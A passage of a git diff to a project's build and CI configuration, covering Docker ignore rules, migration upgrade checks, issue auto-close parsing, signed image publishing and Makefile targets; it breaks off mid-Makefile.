diff --git a/.dockerignore b/.dockerignore index 11f95193..13c7a865 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,7 +1,13 @@ -# Root .dockerignore — reduces build context for frontend Dockerfile -# (which uses context: . to access VERSION file from repo root) +# Root .dockerignore — governs every image built with context: . , which is now +# the frontend AND the backend targets (api/worker/beat). Both need the repo-root +# VERSION file, which cannot be reached from a context rooted inside their own +# directory. # -# The backend/ and bnk-operator/ have their own .dockerignore files. +# backend/.dockerignore no longer takes effect for those builds — Docker only +# reads the ignore file at the context root — so the backend-specific exclusions +# that still matter are reproduced below with a backend/ prefix. +# +# bnk-operator/ still builds with its own context and its own .dockerignore. # Version control .git/ @@ -31,16 +37,33 @@ htmlcov/ .ruff_cache/ .mypy_cache/ backend/.venv/ +backend/venv/ +backend/env/ backend/tests/ bnk-operator/tests/ +# Local runtime data under backend/ — mounted as volumes in production, never +# part of an image. Previously excluded by backend/.dockerignore. +backend/projects/ +backend/keys/ +backend/state/ +backend/workspaces/ +backend/helm_charts/ + # Node artifacts (frontend has its own context via COPY) frontend-v2/node_modules/ frontend-v2/dist/ # Environment files (secrets!) +# OPS-004: exclude ALL .env files so they never enter a build context. These +# patterns have no path prefix, so they match /.env only — they do NOT +# descend into backend/. The backend/ forms below carry over the rules from the +# deleted backend/.dockerignore, which is the one set that did not come across +# with the venvs and runtime dirs. .env .env.* +backend/.env +backend/.env.* secrets/ # Test artifacts diff --git a/.env.example b/.env.example index 42e9814d..1c024c7e 100644 --- a/.env.example +++ b/.env.example @@ -88,6 +88,26 @@ # MCP_SERVICE_PASSWORD=mcp-service-changeme # DEFAULT_ADMIN_PASSWORD=changeme +# ============================================================================ +# BENCHMARK AGENT AUTHENTICATION +# ============================================================================ +# +# The agent-facing endpoints (POST /api/benchmarks/results, /results/aiperf, +# /agents) require an agent-class bearer token by default. Accepted roles: +# agent (provisioned agents + the built-in agent's bootstrap token), operator, +# admin. A viewer token authenticates but may not write here. +# +# The built-in forge-agent needs no setup: the backend mints a bootstrap token +# into a dedicated volume (bnk-forge-agent-token) at startup and +# docker-compose.yml mounts that volume, read-only, into the agent. External agents get a token from the provisioning flow +# (or set FORGE_AGENT_TOKEN to hand one to the built-in agent explicitly). +# +# Set to false ONLY on a trusted network where you want the open curl flow; +# it re-opens unauthenticated writes to those three endpoints. +# +# BENCHMARK_AGENT_AUTH_REQUIRED=true +# FORGE_AGENT_TOKEN= + # ============================================================================ # BRANDING (Frontend logo: F5 ball or neutral Forge anvil) # ============================================================================ diff --git a/.github/BRANCH_PROTECTION.md b/.github/BRANCH_PROTECTION.md index a2ca1119..daaf1a3d 100644 --- a/.github/BRANCH_PROTECTION.md +++ b/.github/BRANCH_PROTECTION.md @@ -75,7 +75,7 @@ Release: Version bump + tag + changelog [manual, requires CI Gate] | `P2 · Proxy Config` | No (aggregated) | Nginx config via `make test-proxy` | | `P2 · DB Migrations` | No (aggregated) | Migration tests via `make test-db` | | `P2 · Build · Frontend` | No (aggregated) | Build check via `make build-frontend-check` | -| `P3 · Integration Tests` | No (aggregated) | Integration tests via `make test-integration-full` | +| `P3 · Integration Tests` | No (aggregated) | Integration tests via `make test-integration` + `make test-integration-full` (complementary marker sets — both are needed to cover `tests/integration/`) | | `P4 · Security Audit` | No (aggregated) | pip-audit + npm audit via `make security-audit` | | `P4 · Docker Build + Scan` | No (aggregated) | Docker build + Trivy scan | | `P5 · E2E Tests` | ❌ No | Manual/nightly only | diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 664e18f3..cf62fc2c 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -4,6 +4,11 @@ A clear and concise description of the changes in this Pull Request. Fixes / Implements: #[Issue Number] + + --- ## Architectural Decision Record (ADR) diff --git a/.github/workflows/auto-close-issues-on-staging-merge.yml b/.github/workflows/auto-close-issues-on-staging-merge.yml index 05f9220e..b7d86cf0 100644 --- a/.github/workflows/auto-close-issues-on-staging-merge.yml +++ b/.github/workflows/auto-close-issues-on-staging-merge.yml @@ -51,13 +51,44 @@ jobs: import os, re body = os.environ.get("PR_BODY") or "" repo = os.environ["REPO"] + # Neutralise fenced blocks and inline code spans BEFORE scanning. A PR + # that documents closing keywords (a parser change, a template change, + # a how-to) otherwise closes the issues it is merely talking about -- + # #158's own description parsed as issues=94 128 7, two of them open + # with their real fixes still unmerged. Fences first (they may contain + # backticks), then spans. Both fence styles -- ``` and ~~~ -- since ~~~ + # is what an author reaches for when the example itself contains + # backticks, i.e. exactly the case this exists for. Like-to-like: a + # ~~~ block must close with ~~~ (backreference), so a stray ~~~ cannot + # "close" a ``` fence and over-strip. + # + # Replace with a NON-WHITESPACE sentinel, never ''. Deleting the code + # outright glues a keyword onto a following reference -- "Fixes `x` + # #94" becomes "Fixes #94" and the [:\s]* separator swallows the + # gap -- a NEW false-close the pre-stripping parser never produced. + # The sentinel cannot be eaten by the separator or the "/ Implements" + # skip, so the barrier survives; a real "Fixes #94" in prose is + # unaffected because it contains no code to replace. + # + # Indented (4-space) code blocks are NOT neutralised: they need a + # line-based pass and nobody in this repo writes them. Known + # safe-direction gap: an unbalanced backtick in prose can swallow a + # real closing line -> the issue simply stays open (the pre-Action + # status quo). + CODE = "\u2400" # U+2400 SYMBOL FOR NULL: non-whitespace, never in a ref + body = re.sub(r'(```|~~~).*?\1', CODE, body, flags=re.S) + body = re.sub(r'`[^`]*`', CODE, body) kw_pat = re.compile(r'(?i)\b(?:close|closes|closed|fix|fixes|fixed|resolve|resolves|resolved)\b') ref_pat = re.compile(r'([A-Za-z0-9._-]+/[A-Za-z0-9._-]+)?#(\d+)') sep_pat = re.compile(r'[ \t,]+') out=[]; seen=set() for m in kw_pat.finditer(body): i = m.end() - i += re.match(r'[:\s]*', body[i:]).end() + # Accept the PR template's own line, "Fixes / Implements: #N": + # allow an optional "/ Implements" (or "/ Closes" etc.) between the + # keyword and the reference. Before this, the template form matched + # NOTHING and every issue had to be closed by hand. + i += re.match(r'(?i)[:\s]*(?:/\s*(?:implements|closes|fixes|resolves)\s*)?[:\s]*', body[i:]).end() while True: r = ref_pat.match(body, i) if not r: diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e8040a93..5d8f62e3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -336,6 +336,22 @@ jobs: - name: Run artifact_network.sh pure-logic self-test run: bash scripts/artifact_network.sh --self-test + # ── Pre-merge alembic collision check (ADR-478 follow-up) ──────────────── + # Detects revision-id duplicates and multi-head collisions between this + # branch's migrations and origin/staging — the blind spot that would + # otherwise only surface as a deep CI failure after push. + migration-collision-check: + name: "P1 · Migration Collision Check (vs staging)" + needs: changes + if: needs.changes.outputs.backend == 'true' || needs.changes.outputs.scripts == 'true' || needs.changes.outputs.ci == 'true' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - name: Fetch staging so origin/staging is resolvable + run: git fetch --no-tags --depth=200 origin staging + - name: Check for alembic head/dup-id collision with origin/staging + run: make check-migrations + # ══════════════════════════════════════════════════════════════════════════ # PHASE 2: Component + Legacy Tests (~90s) — needs Phase 1 # ══════════════════════════════════════════════════════════════════════════ @@ -545,6 +561,195 @@ jobs: print('No ORM-vs-DB drift on real Postgres') " + migration-upgrade-from-release: + name: "P2 · Migration Upgrade From Released Version (Postgres)" + needs: [changes, lint-backend, typecheck-backend, openapi-check, unit-tests-backend] + if: | + always() && + (needs.changes.outputs.backend == 'true' || needs.changes.outputs.ci == 'true') && + !contains(needs.*.result, 'failure') && + !contains(needs.*.result, 'cancelled') + runs-on: ubuntu-latest + # Two things no other job covers. + # + # 1. The customer upgrade path. migration-roundtrip provisions with + # init_db.py (create_all + stamp head) and then runs `alembic upgrade + # head` — a no-op, because it was just stamped AT head. This job + # provisions the way the OLDEST SUPPORTED release did and upgrades + # forward, so the chain is actually executed against a real installed + # schema. + # + # 2. Whether create_all and the migration chain still agree. init_db.py + # stamps head while create_all builds whatever the ORM declares in that + # build; any disagreement is frozen into every install made from it, in + # one of two directions — an ORM object no migration creates (built by + # create_all, collides when a later release replays the migration above + # the stamp), or a migration object the ORM does not declare (never built + # and never will be, because the stamp claims its revision ran). + # + # That disagreement is a property of a single COMMIT, not of an upgrade + # path: at any release tag the ORM and the chain are in step, so no + # choice of starting tag can find it. It is found by building both + # schemas at this commit and diffing them, which is what the parity step + # below does. The chain cannot be replayed from an empty database (its + # base revision is an ALTER TABLE presupposing a v1 schema — see + # init_db.py), so the chain side is built by provisioning at the floor + # and upgrading, which reaches the same place. + services: + postgres: + image: postgres:16 + env: + POSTGRES_USER: bnkforge + POSTGRES_PASSWORD: bnkforge + POSTGRES_DB: bnkforge_upgrade_ci + ports: + - 5432:5432 + options: >- + --health-cmd "pg_isready -U bnkforge" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + env: + # The chain side: provisioned at the floor release, then upgraded to HEAD. + DATABASE_URL: "postgresql+psycopg2://bnkforge:bnkforge@localhost:5432/bnkforge_upgrade_ci" + # The ORM side: create_all at HEAD, i.e. what a fresh install gets today. + ORM_DATABASE_URL: "postgresql+psycopg2://bnkforge:bnkforge@localhost:5432/bnkforge_orm_ci" + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + - uses: actions/setup-python@v5 + with: + python-version: ${{ env.PYTHON_VERSION }} + cache: pip + cache-dependency-path: backend/requirements-dev.txt + - name: Install dependencies + run: pip install -r backend/requirements-dev.txt + + - name: "Resolve the upgrade floor" + id: prev + run: | + set -euo pipefail + # The OLDEST release we support upgrading from, pinned in + # MIN_UPGRADE_FROM. Deliberately not "the newest tag": that is always + # about one release back, so the window it exercises is one release + # wide and contains no accumulated drift. Raise this only when a + # release genuinely stops being supported as an upgrade source. + ref="$(tr -d '[:space:]' < MIN_UPGRADE_FROM)" + if ! git rev-parse --verify "$ref^{commit}" >/dev/null 2>&1; then + echo "::error::MIN_UPGRADE_FROM names '$ref', which is not a commit in this repo" + exit 1 + fi + echo "ref=$ref" >> "$GITHUB_OUTPUT" + echo "Upgrade floor: $ref" + + - name: "Create the ORM-side database" + run: | + set -euo pipefail + python - <<'PY' + import os + from sqlalchemy import create_engine, text + url = os.environ["DATABASE_URL"].rsplit("/", 1)[0] + "/postgres" + e = create_engine(url, isolation_level="AUTOCOMMIT") + with e.connect() as c: + c.execute(text("CREATE DATABASE bnkforge_orm_ci")) + PY + + - name: "Provision the database the way the floor release did" + run: | + set -euo pipefail + git worktree add /tmp/prev-release "${{ steps.prev.outputs.ref }}" + cd /tmp/prev-release/backend + # Run THAT release's init_db.py — create_all from THAT ORM, stamp THAT + # head — using this job's dependencies. What is under test is the ORM + # and init_db logic in that checkout, not its pinned library versions, + # and installing the old pins over this environment would leave the + # upgrade and the assertions below running new code against old + # dependencies. No `|| true` here: if this cannot run, the job has + # nothing to say and must fail loudly rather than silently continue. + # + # Known fragility, accepted deliberately: the floor's models are + # imported under CURRENT pins, so the gap widens every time a + # dependency moves. v3.0.1 pins cryptography 44 and staging is on 50 — + # six majors — and it holds only because the floor tree touches just + # Fernet, hazmat.primitives.serialization and Ed25519PrivateKey, all + # unchanged across that range. When it does bite, it bites as a + # MANDATORY gate failing hard on a commit that changed nothing + # relevant. The fix then is to raise MIN_UPGRADE_FROM to a release + # whose models import cleanly, not to add `|| true` here: a floor that + # cannot be provisioned is a floor that is no longer supported as an + # upgrade source, and that is a decision to take explicitly. + python init_db.py + + - name: "Record the stamp the release left" + run: | + set -euo pipefail + python - <<'PY' + from sqlalchemy import create_engine, text + import os + e = create_engine(os.environ["DATABASE_URL"]) + with e.connect() as c: + print("provisioned at revision:", c.execute(text("select version_num from alembic_version")).scalar()) + PY + + - name: "Upgrade to HEAD — the customer path" + working-directory: backend + run: alembic upgrade head + + - name: "Assert zero ORM-vs-DB drift after the upgrade" + working-directory: backend + run: | + set -euo pipefail + python -c " + import sys + from sqlalchemy import create_engine + from core.config import settings + from startup_steps import _detect_missing_schema + engine = create_engine(settings.DATABASE_URL) + with engine.connect() as conn: + missing = _detect_missing_schema(conn) + if missing: + print('Upgrading from the floor release left the DB missing what the ORM expects:') + for m in missing: + print(' - ' + m) + print() + print('An object whose migration sits BELOW the stamp init_db wrote will never') + print('be created by any upgrade. Add it to the heal migration (v2_152).') + sys.exit(1) + print('No ORM-vs-DB drift after upgrading from the floor release') + " + + - name: "Provision the ORM side — create_all at HEAD" + working-directory: backend + env: + DATABASE_URL: ${{ env.ORM_DATABASE_URL }} + run: python init_db.py + + - name: "Assert create_all and the migration chain agree" + run: python scripts/check-schema-parity.py "$ORM_DATABASE_URL" "$DATABASE_URL" + + # Targeted regression tests for revisions whose behaviour depends on WHICH + # provisioning path built the database. The parity check above catches the + # same class, but only as a whole-schema diff after a full upgrade — these + # name the specific invariant and fail with a message that says what broke. + - name: "Migration regression tests (Postgres)" + working-directory: backend + env: + TEST_POSTGRES_URL: ${{ env.ORM_DATABASE_URL }} + BNK_REQUIRE_MIGRATION_TESTS: "1" + run: | + # Assert the precondition rather than letting the tests skip. + # Actions substitutes an unresolvable env.X with the EMPTY STRING and + # says nothing, so a rename of ORM_DATABASE_URL would leave this step + # green while asserting nothing — and the gate treats `skipped` as + # acceptable. That is the "gate exists but never executes" class this + # very job was added to catch. + if [ -z "$TEST_POSTGRES_URL" ]; then + echo "::error::TEST_POSTGRES_URL is empty — the migration regression tests would silently skip" + exit 1 + fi + python -m pytest tests/migrations/ -v + frontend-build: name: "P2 · Build · Frontend" needs: [changes, lint-frontend, typecheck-frontend, unit-tests-frontend] @@ -592,6 +797,11 @@ jobs: - name: Run integration tests run: | if [ -n "$(find backend/tests/integration -name 'test_*.py' 2>/dev/null)" ]; then + # Both targets, because they are exact complements: pyproject's + # addopts carry -m 'not full' and test-integration-full passes + # -m full. Running only the latter (as this job used to) left 746 + # of 952 integration tests unexecuted on every branch — see #130. + make test-integration make test-integration-full else echo "No integration tests found yet — skipping" @@ -604,6 +814,8 @@ jobs: path: | backend/coverage-integration.xml backend/junit-integration.xml + backend/coverage-integration-full.xml + backend/junit-integration-full.xml retention-days: 3 if-no-files-found: ignore @@ -658,7 +870,8 @@ jobs: - name: Build API image (slim) uses: docker/build-push-action@v6 with: - context: ./backend + context: . + file: backend/Dockerfile target: api tags: bnk-forge-api:latest load: true @@ -667,7 +880,8 @@ jobs: - name: Build Worker image (full tooling) uses: docker/build-push-action@v6 with: - context: ./backend + context: . + file: backend/Dockerfile target: worker tags: bnk-forge-worker:latest load: true @@ -676,12 +890,40 @@ jobs: - name: Build Beat image (slim) uses: docker/build-push-action@v6 with: - context: ./backend + context: . + file: backend/Dockerfile target: beat tags: bnk-forge-beat:latest load: true cache-from: type=gha,scope=backend cache-to: type=gha,mode=max,scope=backend + + # The images are already built and loaded above, so this costs a few + # seconds. It exists because settings.VERSION silently fell back to + # "0.0.0" for the entire life of these images: core/config.py reads + # /app/VERSION, nothing copied it, and no unit test could ever see that — + # from a source checkout the same function resolves the repo-root file, so + # the bug exists ONLY inside an image. + # + # It also gates the build wiring itself: a target whose context or + # dockerfile is wrong cannot build, so it cannot pass this. Two build + # paths were missed when the context was re-rooted; this is what catches + # the third. + - name: Assert VERSION is baked into the backend images + run: | + set -euo pipefail + expected="$(cat VERSION)" + failed=0 + for img in bnk-forge-api bnk-forge-worker bnk-forge-beat; do + actual="$(docker run --rm --entrypoint "" "$img:latest" cat /app/VERSION 2>/dev/null || echo '')" + if [ "$actual" = "$expected" ]; then + echo " OK $img reports $actual" + else + echo "::error::$img reports '$actual', expected '$expected' — settings.VERSION will fall back to 0.0.0, which surfaces on /api, the OpenAPI title and the X-BNK-Forge-Version header" + failed=1 + fi + done + [ "$failed" -eq 0 ] - name: Build Frontend image uses: docker/build-push-action@v6 with: @@ -830,12 +1072,14 @@ jobs: - unit-tests-operator - contract-tests - artifact-network-self-test + - migration-collision-check # Phase 2 - component-tests-backend - legacy-tests-backend - proxy-validation - db-migration-check - migration-roundtrip + - migration-upgrade-from-release - frontend-build # Phase 3 - integration-tests-backend @@ -861,11 +1105,13 @@ jobs: "unit-tests-operator:${{ needs.unit-tests-operator.result }}" \ "contract-tests:${{ needs.contract-tests.result }}" \ "artifact-network-self-test:${{ needs.artifact-network-self-test.result }}" \ + "migration-collision-check:${{ needs.migration-collision-check.result }}" \ "component-tests:${{ needs.component-tests-backend.result }}" \ "legacy-tests:${{ needs.legacy-tests-backend.result }}" \ "proxy-validation:${{ needs.proxy-validation.result }}" \ "db-migration:${{ needs.db-migration-check.result }}" \ "migration-roundtrip:${{ needs.migration-roundtrip.result }}" \ + "migration-upgrade-from-release:${{ needs.migration-upgrade-from-release.result }}" \ "frontend-build:${{ needs.frontend-build.result }}" \ "integration-tests:${{ needs.integration-tests-backend.result }}" \ "security-audit:${{ needs.security-audit.result }}" \ diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 540e7750..0ded64e0 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -121,8 +121,10 @@ jobs: # branch-name lookup can return a stale run from an unrelated # earlier push). ci.yml has a push:staging trigger specifically so # every staging push gets its own CI run carrying that push's SHA. - TIMEOUT_SECONDS=900 - POLL_INTERVAL=15 + # Budget: last five green CI runs on this repo took ~18 min + # end-to-end; 2700s (45 min) covers queue delays and future growth. + TIMEOUT_SECONDS="$CI_POLL_TIMEOUT_SECONDS" + POLL_INTERVAL=30 ELAPSED=0 while true; do @@ -170,6 +172,7 @@ jobs: done env: GH_TOKEN: ${{ github.token }} + CI_POLL_TIMEOUT_SECONDS: 2700 - name: Derive version from conventional commits id: version @@ -290,11 +293,17 @@ jobs: if [ -n "$LAST_FINAL" ]; then COMMIT_LOG=$(git log "${LAST_FINAL}..HEAD" --pretty=format:"- %s" | head -40) + BREAKING=$(bash scripts/extract-breaking-changes.sh "$LAST_FINAL" HEAD || true) else COMMIT_LOG=$(git log --pretty=format:"- %s" | head -40) + BREAKING="" fi - printf '%s\n\n%s' "$NOTES" "$COMMIT_LOG" > /tmp/rc_notes.md + if [ -n "$BREAKING" ]; then + printf '%s\n\n%s\n\n%s' "$NOTES" "$BREAKING" "$COMMIT_LOG" > /tmp/rc_notes.md + else + printf '%s\n\n%s' "$NOTES" "$COMMIT_LOG" > /tmp/rc_notes.md + fi echo "notes_file=/tmp/rc_notes.md" >> "$GITHUB_OUTPUT" - name: Create GitHub pre-release @@ -361,9 +370,11 @@ jobs: if [ -n "$LAST_FINAL" ]; then COMMITS=$(git log "${LAST_FINAL}..HEAD" --pretty=format:"- %s" \ | grep -v "^- release: " | head -50) + BREAKING=$(bash scripts/extract-breaking-changes.sh "$LAST_FINAL" HEAD || true) else COMMITS=$(git log --pretty=format:"- %s" \ | grep -v "^- release: " | head -50) + BREAKING="" fi # Build the entry in a temp file rather than interpolating COMMITS @@ -376,6 +387,10 @@ jobs: { echo "## v${NEW} (${DATE}) — ${BUMP} bump" echo "" + if [ -n "$BREAKING" ]; then + echo "$BREAKING" + echo "" + fi echo "$COMMITS" } > "$ENTRY_FILE" @@ -430,16 +445,22 @@ jobs: if [ -n "$LAST_FINAL" ]; then COMMITS=$(git log "${LAST_FINAL}..HEAD" --pretty=format:"- %s" \ | grep -v "^- release: " | head -50) + BREAKING=$(bash scripts/extract-breaking-changes.sh "$LAST_FINAL" HEAD || true) else COMMITS=$(git log --pretty=format:"- %s" \ | grep -v "^- release: " | head -50) + BREAKING="" fi - cat > /tmp/release_notes.md < /tmp/release_notes.md echo "notes_file=/tmp/release_notes.md" >> "$GITHUB_OUTPUT" @@ -567,3 +588,93 @@ jobs: echo "| CI | passed |" >> "$GITHUB_STEP_SUMMARY" echo "| E2E | ${{ needs.e2e-gate.result || 'skipped' }} |" >> "$GITHUB_STEP_SUMMARY" echo "| Notes | ${{ inputs.release_notes }} |" >> "$GITHUB_STEP_SUMMARY" + + # ── Publish images to ghcr (final releases only) ────────────────────────────── + # Two problems, one job: + # 1. Until now, release.yml cut a GitHub release but never built/pushed + # container images — no ghcr images existed per release. + # 2. The frontend bakes its displayed version (__APP_VERSION__, from the + # root VERSION file) at image-build time. Checking out the just-created + # release tag (VERSION already bumped by release-final/release-manual) + # and building from THIS commit makes the baked UI version equal the + # release tag instead of drifting from it. + # Keyless cosign signing (Sigstore/Fulcio/Rekor via OIDC) needs no secrets + # beyond the built-in GITHUB_TOKEN: id-token: write mints the OIDC token + # cosign uses, packages: write lets it push to ghcr.io/. + release-publish: + name: "Publish images v${{ needs.preflight.outputs.new_version }}" + needs: + - preflight + - release-final + - release-manual + if: | + always() && + (needs.preflight.outputs.release_kind == 'final' || needs.preflight.outputs.release_kind == 'manual') && + (needs.release-final.result == 'success' || needs.release-manual.result == 'success') + runs-on: ubuntu-latest + timeout-minutes: 90 + permissions: + contents: read + packages: write + id-token: write + env: + # Derived from the repo owner so forks and mirrors publish to their own + # namespace without editing this workflow. + REGISTRY: ghcr.io/${{ github.repository_owner }} + VERSION: ${{ needs.preflight.outputs.new_version }} + steps: + - name: Checkout release tag + uses: actions/checkout@v6 + with: + ref: v${{ needs.preflight.outputs.new_version }} + fetch-depth: 0 + + - name: Resolve release commit + id: rev + run: echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Log in to ghcr.io + uses: docker/login-action@v3 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Install cosign + uses: sigstore/cosign-installer@v3 + + - name: Install syft + uses: anchore/sbom-action/download-syft@v0 + + - name: Build and push all images (docker-bake.hcl) + run: docker buildx bake --push default + env: + REGISTRY: ${{ env.REGISTRY }} + VERSION: ${{ env.VERSION }} + PLATFORMS: linux/amd64,linux/arm64 + # OCI source label tracks whichever remote actually built the image. + SOURCE_URL: ${{ github.server_url }}/${{ github.repository }} + GIT_REVISION: ${{ steps.rev.outputs.sha }} + ROLLING_TAG: latest + + - name: Sign, SBOM, and attest all images (keyless cosign) + run: bash scripts/publish-signed-images.sh --execute + env: + BNK_FORGE_REGISTRY: ${{ env.REGISTRY }} + BNK_FORGE_VERSION: ${{ env.VERSION }} + + - name: Publish summary + run: | + echo "## Published images v${{ needs.preflight.outputs.new_version }}" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "| Image | Tags |" >> "$GITHUB_STEP_SUMMARY" + echo "|-------|------|" >> "$GITHUB_STEP_SUMMARY" + for name in bnk-forge-api bnk-forge-worker bnk-forge-beat bnk-forge-frontend bnk-forge-proxy bnk-forge-mcp bnk-forge-operator; do + echo "| ${name} | ${{ env.REGISTRY }}/${name}:${{ needs.preflight.outputs.new_version }}, :latest |" >> "$GITHUB_STEP_SUMMARY" + done diff --git a/.gitignore b/.gitignore index 48bec204..4959da45 100644 --- a/.gitignore +++ b/.gitignore @@ -158,7 +158,11 @@ screenshots/ .agent/ .opencode .opencode/ +.claude .claude/ +.gemini +.gemini/ +.cursor .cursor/ .aider* # CLAUDE.md go ahead and share @@ -182,7 +186,9 @@ nohup.out # Editor # Node node_modules/ -package-lock.json +# package-lock.json is intentionally TRACKED — `npm ci` and the CI setup-node +# cache both require it. Ignoring it silently drops the lockfile from any export +# built off the working tree, which breaks every frontend CI job. *.pyc # Environment # OpenCode @@ -252,7 +258,12 @@ cli/go/ *.tar.gz *.bnk .ssh/ -secrets/ +# Anchored to the repo root on purpose: an unanchored `secrets/` also matches +# frontend-v2/src/components/secrets/, which silently removed a shipped component. +# `/secrets/*` rather than `/secrets/`: git will not descend into an excluded +# directory, so the tracked placeholder README could not be negated otherwise. +/secrets/* +!/secrets/README.md .agent/ .agent-prev/ .agent-local/ diff --git a/.trivyignore b/.trivyignore index 184359a2..46fa12f8 100644 --- a/.trivyignore +++ b/.trivyignore @@ -106,3 +106,15 @@ CVE-2026-60002 # Tracked: GitHub issue #103 # Added: 2026-05-06 CVE-2026-33845 + +# CVE-2026-57433: perl Storable signed-integer flaw (Storable < 3.41) +# Affects: libperl5.40, perl-base (5.40.1-6) in our Debian Trixie base image. +# No Debian fix available yet (Trivy "Fixed Version" is blank). +# Pulled in transitively: base image / git tooling — forge does not execute perl +# at runtime and never deserializes untrusted Storable-format data, which is the +# required trigger. The vulnerable code path is present but unreachable. +# REVISIT: monthly — drop once Debian ships a patched perl (Storable >= 3.41) to +# trixie-security. Check: https://security-tracker.debian.org/tracker/CVE-2026-57433 +# Tracked: GitHub issue #492 +# Added: 2026-07-22 +CVE-2026-57433 diff --git a/MIN_UPGRADE_FROM b/MIN_UPGRADE_FROM new file mode 100644 index 00000000..d80dc339 --- /dev/null +++ b/MIN_UPGRADE_FROM @@ -0,0 +1 @@ +v3.1.6 diff --git a/Makefile b/Makefile index 38ee8631..75528feb 100644 --- a/Makefile +++ b/Makefile @@ -83,11 +83,11 @@ AWSBNKCTL_STAMP := bin/.awsbnkctl-$(AWSBNKCTL_VERSION).stamp .PHONY: install update status logs \ test test-backend test-backend-unit test-backend-component test-backend-legacy test-frontend \ test-proxy test-operator test-db test-contracts test-e2e test-e2e-tier1 test-e2e-tier2 \ - test-integration-full build-frontend-check smoke-mcp-live mcp-readiness mcp-recreate \ + test-integration test-integration-full build-frontend-check smoke-mcp-live mcp-readiness mcp-recreate \ lint lint-backend lint-frontend shellcheck coverage quick-check pre-push push install-hooks setup-hooks \ dev-setup security-audit docker-check docker-verify docker-validate \ openapi openapi-types openapi-check openapi-types-check typecheck-backend typecheck-frontend \ - build build-backend build-frontend build-worker build-agent build-all \ + build build-retry build-backend build-frontend build-worker build-agent build-all \ fetch-awsbnkctl \ up down restart deploy deploy-backend deploy-frontend upgrade-safe \ clean clean-docker check-disk setup-cleanup-cron check-migrations \ @@ -158,7 +158,7 @@ _install-start: ensure-artifact-network @echo "" @echo "Fixing volume permissions..." @PROJECT=$$(basename "$(CURDIR)"); \ - for v in bnk-forge-data bnk-forge-keys state_data helm_cache helm_config helm_charts workspace_data; do \ + for v in bnk-forge-data bnk-forge-keys bnk-forge-agent-token state_data helm_cache helm_config helm_charts workspace_data; do \ docker volume create \ --label com.docker.compose.project=$${PROJECT} \ --label com.docker.compose.volume=$${v} \ @@ -167,15 +167,16 @@ _install-start: ensure-artifact-network docker run --rm \ -v "$${PROJECT}_bnk-forge-data:/app/projects" \ -v "$${PROJECT}_bnk-forge-keys:/app/keys" \ + -v "$${PROJECT}_bnk-forge-agent-token:/app/agent-token" \ -v "$${PROJECT}_state_data:/app/state" \ -v "$${PROJECT}_helm_cache:/home/bnkforge/.cache/helm" \ -v "$${PROJECT}_helm_config:/home/bnkforge/.config/helm" \ -v "$${PROJECT}_helm_charts:/app/helm_charts" \ -v "$${PROJECT}_workspace_data:/app/workspaces" \ alpine:latest sh -c " \ - mkdir -p /app/projects /app/keys /app/state /app/helm_charts /app/workspaces \ + mkdir -p /app/projects /app/keys /app/agent-token /app/state /app/helm_charts /app/workspaces \ /home/bnkforge/.cache/helm /home/bnkforge/.config/helm && \ - chown -R 1000:1000 /app/projects /app/keys /app/state /app/helm_charts \ + chown -R 1000:1000 /app/projects /app/keys /app/agent-token /app/state /app/helm_charts \ /app/workspaces /home/bnkforge" \ 2>/dev/null && echo " ✓ Volume permissions configured" \ || echo " ⚠ Could not pre-configure permissions" @@ -257,18 +258,33 @@ build: @echo " Build complete (cached)" @echo "=========================================" +# Same as `build`, but retries on transient download failures. Use this for +# from-scratch builds on DLP-managed workstations: the github.com tool +# downloads use Docker `ADD` (see docs/adr/D-035), which has no built-in retry, +# so a transient CDN/TLS blip aborts the whole build. BuildKit's layer cache +# makes each retry cheap (only the failed layer re-runs). Tune with +# RETRY_ATTEMPTS / RETRY_DELAY, e.g. `make build-retry RETRY_ATTEMPTS=5`. +build-retry: + @echo "" + @echo "=== Building all app images (parallel, with retry) ===" + BUILDX_NO_DEFAULT_ATTESTATIONS=1 ./scripts/retry.sh -- docker compose build backend celery-worker celery-beat frontend forge-agent + @echo "" + @echo "=========================================" + @echo " Build complete (cached)" + @echo "=========================================" + # Build just the API image (backend code changes) build-backend: @echo "" @echo "=== Building backend (API) ===" - BUILDX_NO_DEFAULT_ATTESTATIONS=1 docker compose build backend + BUILDX_NO_DEFAULT_ATTESTATIONS=1 $(COMPOSE) build backend @echo " ✓ Backend image built" # Build just the frontend image build-frontend: @echo "" @echo "=== Building frontend ===" - BUILDX_NO_DEFAULT_ATTESTATIONS=1 docker compose build frontend + BUILDX_NO_DEFAULT_ATTESTATIONS=1 $(COMPOSE) build frontend @echo " ✓ Frontend image built" # Fetch the pinned awsbnkctl release binary (linux/amd64) for the worker mount. @@ -448,7 +464,7 @@ test-upgrade: shellcheck: @echo "" @echo "=== ShellCheck: linting shell scripts ===" - @shellcheck --severity=warning upgrade.sh scripts/*.sh + @shellcheck --severity=warning upgrade.sh scripts/*.sh vm-bnk-forge/*.sh vm-bnk-forge/lib/*.sh # Convenience: start/stop/restart all (platform-aware) up: ensure-artifact-network @@ -564,7 +580,21 @@ test-contracts: $(BACKEND_PREREQ) @cd backend && $(BACKEND_VENV) \ $(PYTEST_BASE) tests/contract/ -v --tb=short $(PYTEST_COV) $(PYTEST_COV_REPORT) $(PYTEST_JUNIT) -test-integration-full: SUITE = integration +# Exact complement of test-integration-full: together they cover every test in +# tests/integration/. The selector is spelled out rather than inherited from +# pyproject's addopts (-m 'not full') on purpose -- that implicit coupling is +# what let the two targets stop being complements without anyone noticing +# (#130). Change one selector, change the other. +test-integration: SUITE = integration +test-integration: $(BACKEND_PREREQ) + @echo "" + @echo "=== Integration 